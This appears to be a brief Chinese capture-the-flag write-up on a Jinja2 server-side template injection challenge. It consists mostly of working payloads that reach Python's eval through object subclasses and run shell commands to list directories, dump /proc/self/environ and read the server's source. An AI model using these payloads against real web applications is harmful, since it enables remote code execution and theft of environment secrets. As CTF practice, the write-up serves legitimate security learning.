- 进入页面用arjun扫描一下有什么url参数
- 这道题是最基础的了
- 直接给payload前面的payload吧
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')}}
- 页面返回:password is wrong: app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
- 我尝试了读取当前运行环境
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /proc/self/environ").read()')}}
- 里面有个假的flag,真让人讨厌呀!
- 读取前面app文件夹
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')}}
- 返回:Dockerfile docker-compose.yml entrypoint.sh server.py
- 读取server.py源码
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')}}